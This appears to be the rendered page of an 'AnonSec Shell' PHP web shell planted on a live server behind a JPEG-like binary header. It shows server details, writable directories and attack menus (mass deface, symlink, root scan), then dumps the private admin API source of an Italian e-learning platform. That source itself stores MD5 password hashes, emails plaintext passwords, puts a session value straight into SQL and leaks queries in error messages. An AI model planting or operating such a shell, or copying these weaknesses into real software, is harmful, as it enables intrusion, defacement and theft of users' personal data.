JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/sapere/app/components/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/sapere/app/components/admin/api.class.php
<?php
class APIAdmin extends API
{
	
	protected $db;

	public function __construct()
	{
		$this->db = new DBLink(FILE_INI_MDADB);
		$this->db->SafeFetch("SET CHARACTER SET utf8 ");

	}  

	/* ---------------------------------------- */
	/* ----------------- ACL ------------------ */
	/* ---------------------------------------- */



	
	/* ---------------------------------------- */
	/* -------------- ANAGRAFICA -------------- */
	/* ---------------------------------------- */
	
	function getMyUserInfo() {
		// print_r($_SESSION['userdata']);
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT * FROM supervisori_user_info WHERE id_user = $id_user;";
		$res= $this->db->SafeFetchOne($query);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function updateAvatarLocation($files) {
		$id_user = $_SESSION['userdata']['id_user'];
		$_nome_file = $this->putFileS3Private("user_avatar", $id_user, $files[0]);
		$nome_file = end(explode("/",$_nome_file));
		$query = "UPDATE ".$this->getInfoTableName()." SET "
				. " avatar_location = " . $this->db->quoteText($nome_file) 
				. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
        	$this->getFile("user_avatar",$id_user,$nome_file);
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}
	function resetAvatarLocation() {
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "UPDATE ".$this->getInfoTableName()." SET "
				. " avatar_location = NULL "  
				. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage(null, true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function getAvatarLocation() {
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT avatar_location from ".$this->getInfoTableName().
				 " WHERE id_user = " . $this->db->quoteInt($id_user);
		$_nome_file = $this->db->SafeFetchOne($query);
		if ($_nome_file['avatar_location']) {
        	$this->getFile("user_avatar",$id_user,$_nome_file['avatar_location']);
    	} else {
			return $this->printMessage( $this->responseMessage(null, true) );
		}
	}

	/* ---------------------------------------- */
	/* --------------- AMMINISTRATORI ----------------- */
	/* ---------------------------------------- */

	function getAdmins() {
		$query = "SELECT u.id_user, u.user_type_id, u.email, 
		admin_user_info.id_user_info, admin_user_info.nome, admin_user_info.cognome, admin_user_info.cdf, admin_user_info.telefono, admin_user_info.cellulare, admin_user_info.datanascita, admin_user_info.titolo_studio, admin_user_info.indirizzo, admin_user_info.citta, admin_user_info.nazione_nascita, admin_user_info.comune_nascita, admin_user_info.datanascita, admin_user_info.nazionalita, admin_user_info.cap, admin_user_info.avatar_location
		FROM user as u
		LEFT JOIN admin_user_info ON u.id_user = admin_user_info.id_user 
		WHERE u.user_type_id=830830;";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getAdmin($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT u.id_user, u.user_type_id, u.email, u.create_time, 
		admin_user_info.id_user_info, admin_user_info.nome, admin_user_info.cognome, admin_user_info.cdf, admin_user_info.telefono, admin_user_info.cellulare, admin_user_info.datanascita, admin_user_info.titolo_studio, admin_user_info.indirizzo, admin_user_info.citta, admin_user_info.nazione_nascita, admin_user_info.comune_nascita, admin_user_info.datanascita, admin_user_info.nazionalita, admin_user_info.cap, admin_user_info.avatar_location
		FROM user as u
		LEFT JOIN admin_user_info ON u.id_user = admin_user_info.id_user 
		WHERE u.user_type_id=830830 AND u.id_user = $id_user;";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function deleteAdmin($_id_user){
		$this->db->beginTransaction();
		$id_user =  $this->db->quoteInt($_id_user);
		$a = $this->db->SafeExec("DELETE FROM admin_user_info WHERE admin_user_info.id_user = $id_user");
		if (!$a) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare l'amministratore!", false) );
		}
		$b = $this->db->SafeExec("DELETE FROM user WHERE user.id_user = $id_user");
		if (!$b) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare l'amministratore!", false) );
		}
		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare l'amministratore!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Amministratore cancellato!", true) );	
		}
	}
	private function getDominio(){
		$_domain = explode(".",$_SERVER['HTTP_HOST']);
        return "sapere.".$_domain[1].".".$_domain[2];
	}
	
	function insertAdmin($_nome, $_cognome, $_cdf, $_email, $_cellulare, $files){
		$this->db->beginTransaction();
		$id_admin =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$nome =  $this->db->quoteText($_nome);
		$cognome =  $this->db->quoteText($_cognome);
		$cdf =  $this->db->quoteText($_cdf);
		$email =  $this->db->quoteText($_email);
		$cellulare =  $this->db->quoteText($_cellulare);
		$pwd = $this->generatePassword($_email);
		$password =  $this->db->quoteText(md5($pwd));
		
		$query = "INSERT INTO user (user_type_id, email, password, created_by) VALUES(830830, $email, $password, $id_admin);";
		$res= $this->db->SafeInsert($query);
		if(!$res){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Amministratore non inserito la mail risulta già presente nel sistema, si prega di utilizzare una email diversa!", false) );
		}	
		//setto profilo
		$id_user = $this->db->quoteInt($res);
		$query_profile = "INSERT INTO admin_user_info (id_user, nome, cognome, cdf, cellulare) VALUES($id_user, $nome, $cognome, $cdf, $cellulare);";
		$profile_res= $this->db->SafeInsert($query_profile);	
		if(!$profile_res){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Amministratore non inserito errore in fase di creazione del profilo!", false) );
		}
		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Amministratore non inserito errore in fase di creazione!", false) );
		}
		//carico files
		$check = false;
		for ($i=0; $i < count($files); $i++) { 
			if(!$this->putFileS3Private("user", $id_user, $files[$i]) && !$check){
				$check = true;
			}
		}

		//Email
		$check_email = false;
		$oggetto = "Registrazione Utenza - Piattaforma Sapere";
		$htmlbody ="Gentile Utente,<br>di seguito le credenziali di accesso:<br><br>Username: ".$_email."<br>Password: ".$pwd."<br>Indirizzo di accesso: <a href='https://".$_SERVER['HTTP_HOST']."'>https://".$_SERVER['HTTP_HOST']."</a><br><br>Piattaforma Sapere";
		$txtbody ="Gentile Utente,\ndi seguito le credenziali di accesso:\n\nUsername: ".$_email."<br>Password: ".$pwd."\nIndirizzo di accesso: https://".$_SERVER['HTTP_HOST']."\n\nPiattaforma Sapere";
		$resEmail = $this->inviaEmail($_email, $oggetto, $htmlbody, $txtbody);
		if(!$resEmail){
			$check_email = true;
		}
		
		if($check){
			return $this->printMessage( $this->responseMessage("Utente inserito con successo, verificare il corretto caricamento dei files!", true) );
		}else if($check_email){
			return $this->printMessage( $this->responseMessage("Utente inserito con successo, non è stato possibile inviare la mail, annotare la password e comunicarla all'utente!<br> Password:".$pwd, true) );
		}else{
			return $this->printMessage( $this->responseMessage("Utente inserito con successo! Password per il primo accesso: ".$pwd, true) );
		}

	}

	function updateAdmin($_id_user_info, $_id_user, $_nome, $_cognome, $_cdf, $_indirizzo, $_nazionalita, $_nazione_nascita, $_datanascita, $_comune_nascita, $_titolo_studio, $_citta, $_cap, $_telefono, $_cellulare){
		// $id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_user_info = $this->db->quoteInt($_id_user_info);
		$id_user = $this->db->quoteInt($_id_user);
		$nome = $this->db->quoteText($_nome);
		$cognome = $this->db->quoteText($_cognome);
		$cdf = $this->db->quoteText($_cdf);
		$cap = $this->db->quoteText($_cap);
		$indirizzo = $this->db->quoteText($_indirizzo);
		$nazionalita = $this->db->quoteText($_nazionalita);
		$nazione_nascita = $this->db->quoteText($_nazione_nascita);
		if($_datanascita){
			$__start = explode("T",$_datanascita);
			$date_s = $__start[0];
			$datanascita = $this->db->quoteText($date_s);
		}else{
			$datanascita = "NULL";	
		}	
		$comune_nascita = $this->db->quoteText($_comune_nascita);
		$titolo_studio = $this->db->quoteText($_titolo_studio);
		$citta = $this->db->quoteText($_citta);
		$cap = $this->db->quoteText($_cap);
		$telefono = $this->db->quoteText($_telefono);
		$cellulare = $this->db->quoteText($_cellulare);
		
		$q = "UPDATE admin_user_info SET "
				. "nome = $nome, "  
				. "cognome = $cognome, "  
				. "cdf = $cdf, " 
				. "cap = $cap, "  
				. "indirizzo = $indirizzo, "  
				. "nazionalita = $nazionalita, "  
				. "nazione_nascita = $nazione_nascita, "  
				. "datanascita = $datanascita, "  
				. "comune_nascita = $comune_nascita, "  
				. "titolo_studio = $titolo_studio, "  
				. "citta = $citta, "  
				. "telefono = $telefono, "  
				. "cellulare = $cellulare "  
				. "WHERE id_user_info = $id_user_info AND id_user = $id_user;";

		if ($this->db->SafeExec($q)) {
			return $this->printMessage( $this->responseMessage("Amministratore modificato con successo.", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!".$q, false) );
		}
	}

	function getIscrizione($_id_iscrizione){
		$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
		$query = "SELECT * 
		FROM iscrizioni_studenti_corsi 
		WHERE id_iscrizione = $id_iscrizione"; 
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	function getLezioniEdizione($_id_corso, $_id_edizione) {
		$id_corso =  $this->db->quoteInt($_id_corso);
		$id_edizione =  $this->db->quoteInt($_id_edizione);

		// $query = "SELECT * FROM corso_edizione_lezione
		// LEFT JOIN iscrizioni_studenti_corsi ON iscrizioni_studenti_corsi.id_edizione = corso_edizione_lezione.id_edizione
		// where iscrizioni_studenti_corsi.id_edizione = $id_edizione AND iscrizioni_studenti_corsi.id_corso = $id_corso";
		$query = "SELECT * 
		FROM corso_edizione_lezione 
		WHERE id_edizione = $id_edizione"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	/* ---------------------------------------- */
	/* --------------- EDITORS ----------------- */
	/* ---------------------------------------- */

	function getEditors() {
		$query = "SELECT u.id_user, u.user_type_id, u.email, 
		editor_user_info.id_user_info, editor_user_info.nome, editor_user_info.cognome, editor_user_info.cdf, editor_user_info.telefono, editor_user_info.cellulare, editor_user_info.datanascita, editor_user_info.titolo_studio, editor_user_info.indirizzo, editor_user_info.citta, editor_user_info.nazione_nascita, editor_user_info.comune_nascita, editor_user_info.datanascita, editor_user_info.nazionalita, editor_user_info.cap, editor_user_info.avatar_location
		FROM user as u
		LEFT JOIN editor_user_info ON u.id_user = editor_user_info.id_user 
		WHERE u.user_type_id=5;";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getEditor($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT u.id_user, u.user_type_id, u.email, u.create_time, 
		editor_user_info.id_user_info, editor_user_info.nome, editor_user_info.cognome, editor_user_info.cdf, editor_user_info.telefono, editor_user_info.cellulare, editor_user_info.datanascita, editor_user_info.titolo_studio, editor_user_info.indirizzo, editor_user_info.citta, editor_user_info.nazione_nascita, editor_user_info.comune_nascita, editor_user_info.datanascita, editor_user_info.nazionalita, editor_user_info.cap, editor_user_info.avatar_location
		FROM user as u
		LEFT JOIN editor_user_info ON u.id_user = editor_user_info.id_user 
		WHERE u.user_type_id=5 AND u.id_user = $id_user;";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function deleteEditor($_id_user){
		$this->db->beginTransaction();
		$id_user =  $this->db->quoteInt($_id_user);
		$a = $this->db->SafeExec("DELETE FROM editor_user_info WHERE admin_user_info.id_user = $id_user");
		if (!$a) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare l'editore!", false) );
		}
		$b = $this->db->SafeExec("DELETE FROM user WHERE user.id_user = $id_user");
		if (!$b) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare l'editore!", false) );
		}
		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare l'editore!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Editore cancellato!", true) );	
		}
	}
	
	function insertEditor($_nome, $_cognome, $_cdf, $_email, $_cellulare, $files){
		$this->db->beginTransaction();
		$id_admin =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$nome =  $this->db->quoteText($_nome);
		$cognome =  $this->db->quoteText($_cognome);
		$cdf =  $this->db->quoteText($_cdf);
		$email =  $this->db->quoteText($_email);
		$cellulare =  $this->db->quoteText($_cellulare);
		$pwd = $this->generatePassword($_email);
		$password =  $this->db->quoteText(md5($pwd));
		
		$query = "INSERT INTO user (user_type_id, email, password, created_by) VALUES(5, $email, $password, $id_admin);";
		$res= $this->db->SafeInsert($query);
		if(!$res){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Editore non inserito la mail risulta già presente nel sistema, si prega di utilizzare una email diversa!", false) );
		}	
		//setto profilo
		$id_user = $this->db->quoteInt($res);
		$query_profile = "INSERT INTO editor_user_info (id_user, nome, cognome, cdf, cellulare) VALUES($id_user, $nome, $cognome, $cdf, $cellulare);";
		$profile_res= $this->db->SafeInsert($query_profile);	
		if(!$profile_res){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Editore non inserito errore in fase di creazione del profilo!", false) );
		}
		$com = $this->db->commit();
		if (!$com) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Editore non inserito errore in fase di creazione!", false) );
		}
		//carico files
		$check = false;
		for ($i=0; $i < count($files); $i++) { 
			if(!$this->putFileS3Private("user", $id_user, $files[$i]) && !$check){
				$check = true;
			}
		}

		//Email
		$check_email = false;
		$oggetto = "Registrazione Utenza - Piattaforma Sapere";
		$htmlbody ="Gentile Utente,<br>di seguito le credenziali di accesso:<br><br>Username: ".$_email."<br>Password: ".$pwd."<br>Indirizzo di accesso: <a href='https://".$_SERVER['HTTP_HOST']."'>https://".$_SERVER['HTTP_HOST']."</a><br><br>Piattaforma Sapere";
		$txtbody ="Gentile Utente,\ndi seguito le credenziali di accesso:\n\nUsername: ".$_email."<br>Password: ".$pwd."\nIndirizzo di accesso: https://".$_SERVER['HTTP_HOST']."\n\nPiattaforma Sapere";
		if(!$this->inviaEmail($_email, $oggetto, $htmlbody, $txtbody)){
			$check_email = true;
		}
		
		if($check){
			return $this->printMessage( $this->responseMessage("Utente inserito con successo, verificare il corretto caricamento dei files!", true) );
		}else if($check_email){
			return $this->printMessage( $this->responseMessage("Utente inserito con successo, non è stato possibile inviare la mail, annotare la password e comunicarla all'utente!<br> Password:".$pwd, true) );
		}else{
			return $this->printMessage( $this->responseMessage("Utente inserito con successo! Password per il primo accesso: ".$pwd, true) );
		}

	}

	function updateEditor($_id_user_info, $_id_user, $_nome, $_cognome, $_cdf, $_indirizzo, $_nazionalita, $_nazione_nascita, $_datanascita, $_comune_nascita, $_titolo_studio, $_citta, $_cap, $_telefono, $_cellulare){
		// $id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_user_info = $this->db->quoteInt($_id_user_info);
		$id_user = $this->db->quoteInt($_id_user);
		$nome = $this->db->quoteText($_nome);
		$cognome = $this->db->quoteText($_cognome);
		$cdf = $this->db->quoteText($_cdf);
		$cap = $this->db->quoteText($_cap);
		$indirizzo = $this->db->quoteText($_indirizzo);
		$nazionalita = $this->db->quoteText($_nazionalita);
		$nazione_nascita = $this->db->quoteText($_nazione_nascita);
		if($_datanascita){
			$__start = explode("T",$_datanascita);
			$date_s = $__start[0];
			$datanascita = $this->db->quoteText($date_s);
		}else{
			$datanascita = "NULL";	
		}	
		$comune_nascita = $this->db->quoteText($_comune_nascita);
		$titolo_studio = $this->db->quoteText($_titolo_studio);
		$citta = $this->db->quoteText($_citta);
		$cap = $this->db->quoteText($_cap);
		$telefono = $this->db->quoteText($_telefono);
		$cellulare = $this->db->quoteText($_cellulare);
		
		$q = "UPDATE editor_user_info SET "
				. "nome = $nome, "  
				. "cognome = $cognome, "  
				. "cdf = $cdf, " 
				. "cap = $cap, "  
				. "indirizzo = $indirizzo, "  
				. "nazionalita = $nazionalita, "  
				. "nazione_nascita = $nazione_nascita, "  
				. "datanascita = $datanascita, "  
				. "comune_nascita = $comune_nascita, "  
				. "titolo_studio = $titolo_studio, "  
				. "citta = $citta, "  
				. "telefono = $telefono, "  
				. "cellulare = $cellulare "  
				. "WHERE id_user_info = $id_user_info AND id_user = $id_user;";

		if ($this->db->SafeExec($q)) {
			return $this->printMessage( $this->responseMessage("Editore modificato con successo.", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!".$q, false) );
		}
	}

	/* ---------------------------------------- */
	/* --------------- CENTRI ----------------- */
	/* ---------------------------------------- */

	function getCentri() {
		$query = "SELECT user.id_user,user.scadenza,user.deleted, user.user_type_id, user.id_centro, user.id_affiliato, user.email, user.account,  
		centri_user_info.id_user_info, centri_user_info.denominazione, centri_user_info.cdf, centri_user_info.telefono, centri_user_info.avatar_location, 
		GROUP_CONCAT(corso.id_corso SEPARATOR ', ') AS corsi_id, GROUP_CONCAT(corso.titolo SEPARATOR ', ') AS corsi_titolo,
		GROUP_CONCAT(corso_esame.id_esame SEPARATOR ', ') AS esami_id, GROUP_CONCAT(corso_esame.titolo SEPARATOR ', ') AS esami_titolo,
		(SELECT COUNT(*) FROM user as u WHERE u.id_centro = user.id_user AND u.user_type_id = 1) AS numero_utenti 
		FROM user 
		LEFT JOIN centri_user_info ON user.id_user = centri_user_info.id_user 
		LEFT JOIN centri_corsi_assegnati on centri_corsi_assegnati.id_centro = user.id_user 
		LEFT JOIN corso on corso.id_corso = centri_corsi_assegnati.id_corso 
		LEFT JOIN centri_esami_assegnati on centri_esami_assegnati.id_centro = user.id_user 
		LEFT JOIN corso_esame on corso_esame.id_esame = centri_esami_assegnati.id_esame 
		WHERE user.user_type_id=550550 OR user.user_type_id=2 
		GROUP BY user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		centri_user_info.id_user_info, centri_user_info.denominazione, centri_user_info.cdf, centri_user_info.telefono 
		";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getCentro($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT user.id_user,user.scadenza, user.user_type_id, user.email, user.create_time, 
		centri_user_info.id_user_info, 
		centri_user_info.denominazione, 
		centri_user_info.cdf, 
		centri_user_info.cap,
		centri_user_info.partita_iva, 
		centri_user_info.avatar_location, 
		centri_user_info.telefono, 
		centri_user_info.pec, 
		centri_user_info.indirizzo, 
		centri_user_info.citta, 
		centri_user_info.amministratore_cognome, 
		centri_user_info.amministratore_nome, 
		centri_user_info.amministratore_email, 
		centri_user_info.amministratore_telefono, 
		centri_user_info.referente_cognome, 
		centri_user_info.referente_nome, 
		centri_user_info.referente_email, 
		centri_user_info.referente_telefono, 
		centri_user_info.sdi, 
		centri_user_info.marketing
		FROM user 
		LEFT JOIN centri_user_info ON user.id_user = centri_user_info.id_user 
		WHERE user.id_user = $id_user";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	/* ---------------------------------------- */
	/* ---------- UTENTI DEL CENTRO ----------- */
	/* ---------------------------------------- */
	
	function getIscrizioniCorsiUtente($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT DISTINCT iscrizioni_studenti_corsi.id_iscrizione, corso.titolo, corso.id_corso, iscrizioni_studenti_corsi.id_edizione, corso.categoria, corso.durata, corso.erogazione, iscrizioni_studenti_corsi.seguito, iscrizioni_studenti_corsi.data_seguito, iscrizioni_studenti_corsi.codice_attestato, iscrizioni_studenti_corsi.file_att, iscrizioni_studenti_corsi.user_insert_id, iscrizioni_studenti_corsi.create_time, centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user as affiliato_user_id,  
		iscrizioni_studenti_corsi.id_edizione 
		FROM iscrizioni_studenti_corsi
		LEFT JOIN corso ON iscrizioni_studenti_corsi.id_corso = corso.id_corso  
		LEFT JOIN corso_edizione ON corso_edizione.id_edizione = iscrizioni_studenti_corsi.id_edizione 
		LEFT JOIN centri_user_info ON iscrizioni_studenti_corsi.user_insert_id = centri_user_info.id_user
		LEFT JOIN corso_lezione_studente ON corso_lezione_studente.id_corso = iscrizioni_studenti_corsi.id_corso 
		WHERE iscrizioni_studenti_corsi.id_user = $id_user
		"; 
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getLezioniCorsoUser($_id_iscrizione, $_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
		$query = "SELECT * FROM corso_lezione_studente
		LEFT JOIN corso_lezione ON corso_lezione.id_lezione = corso_lezione_studente.id_lezione  
		WHERE corso_lezione_studente.id_iscrizione = $id_iscrizione AND  corso_lezione_studente.id_user = $id_user";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	
	function validaLezioneStudente($_id_iscrizione, $_id_lezione, $_id_user, $_stato){
		$id_user =  $this->db->quoteInt($_id_user);
		$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$stato =  $this->db->quoteInt($_stato);
		$query = "UPDATE corso_lezione_studente SET time_check = $stato WHERE corso_lezione_studente.id_iscrizione = $id_iscrizione AND  corso_lezione_studente.id_user = $id_user AND corso_lezione_studente.id_lezione = $id_lezione";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Azione eseguita con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante la modifica, si prega di riprovare!", false) );
		}
	}

	function validaLezioneQuizStudente($_id_iscrizione, $_id_lezione, $_id_user, $_stato){
		$id_user =  $this->db->quoteInt($_id_user);
		$id_iscrizione =  $this->db->quoteInt($_id_iscrizione);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$stato =  $this->db->quoteInt($_stato);
		$query = "UPDATE corso_lezione_studente SET quiz_check = $stato WHERE corso_lezione_studente.id_iscrizione = $id_iscrizione AND  corso_lezione_studente.id_user = $id_user AND corso_lezione_studente.id_lezione = $id_lezione";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Azione eseguita con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante la modifica, si prega di riprovare!", false) );
		}
	}
	
	function getUtente($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, user.create_time, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.cap, studenti_user_info.avatar_location, studenti_user_info.telefono, studenti_user_info.cellulare, studenti_user_info.datanascita, studenti_user_info.titolo_studio, studenti_user_info.indirizzo, studenti_user_info.citta, studenti_user_info.nazione_nascita, studenti_user_info.comune_nascita, studenti_user_info.datanascita, studenti_user_info.nazionalita, 
		centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user AS affiliato_id_user, 
		GROUP_CONCAT(corso.id_corso SEPARATOR ', ') AS corsi_id, GROUP_CONCAT(corso.titolo SEPARATOR ', ') AS corsi_titolo 
		FROM user 
		LEFT JOIN studenti_user_info ON user.id_user = studenti_user_info.id_user 
		LEFT JOIN centri_user_info ON user.id_affiliato = centri_user_info.id_user 
		LEFT JOIN iscrizioni_studenti_corsi on iscrizioni_studenti_corsi.id_user = user.id_user 
		LEFT JOIN corso on corso.id_corso = iscrizioni_studenti_corsi.id_corso 
		WHERE user.user_type_id=1 AND user.id_user = $id_user 
		GROUP BY user.id_user, user.user_type_id, user.id_centro, user.id_affiliato, user.email, 
		studenti_user_info.id_user_info, studenti_user_info.nome, studenti_user_info.cognome, studenti_user_info.cdf, studenti_user_info.telefono, studenti_user_info.cellulare, 
		centri_user_info.denominazione, centri_user_info.id_user";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getAnagraficaModificaCentro($_id_user) {
		//$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT user.id_user, user.email, user.scadenza, user.account,
		centri_user_info.id_user_info, 
		centri_user_info.denominazione, 
		centri_user_info.cdf, 
		centri_user_info.cap,
		centri_user_info.partita_iva, 
		centri_user_info.avatar_location, 
		centri_user_info.telefono, 
		centri_user_info.pec, 
		centri_user_info.indirizzo, 
		centri_user_info.citta, 
		centri_user_info.amministratore_cognome, 
		centri_user_info.amministratore_nome, 
		centri_user_info.amministratore_email, 
		centri_user_info.amministratore_telefono, 
		centri_user_info.referente_cognome, 
		centri_user_info.referente_nome, 
		centri_user_info.referente_email, 
		centri_user_info.referente_telefono, 
		centri_user_info.sdi, 
		centri_user_info.marketing  
		FROM user 
		LEFT JOIN centri_user_info ON user.id_user = centri_user_info.id_user 
		WHERE (user.user_type_id=550550 || user.user_type_id=2) AND user.id_user = $id_user "; 
		
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function modificaAnagraficaCentro($_id_user_info, $_id_user, $_denominazione, $_cdf, $_indirizzo, $_partita_iva, $_pec, $_sdi, $_amministratore_nome, $_amministratore_cognome, $_amministratore_email, $_citta, $_cap, $_telefono, $_amministratore_telefono, $_referente_cognome, $_referente_nome, $_referente_email, $_referente_telefono, $_marketing, $_scadenza, $_account){
		// $id_centro = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_user_info = $this->db->quoteInt($_id_user_info);
		$id_user = $this->db->quoteInt($_id_user);
		$denominazione = $this->db->quoteText($_denominazione);
		$cdf = $this->db->quoteText($_cdf);
		$cap = $this->db->quoteText($_cap);
		$indirizzo = $this->db->quoteText($_indirizzo);
		$partita_iva = $this->db->quoteText($_partita_iva);
		$pec = $this->db->quoteText($_pec);
		$sdi = $this->db->quoteText($_sdi);
		$marketing = $this->db->quoteInt($_marketing);
		$amministratore_cognome = $this->db->quoteText($_amministratore_cognome);
		$amministratore_nome = $this->db->quoteText($_amministratore_nome);
		$amministratore_email = $this->db->quoteText($_amministratore_email);
		$amministratore_telefono = $this->db->quoteText($_amministratore_telefono);
		$referente_cognome = $this->db->quoteText($_referente_cognome);
		$referente_nome = $this->db->quoteText($_referente_nome);
		$referente_email = $this->db->quoteText($_referente_email);
		$referente_telefono = $this->db->quoteText($_referente_telefono);
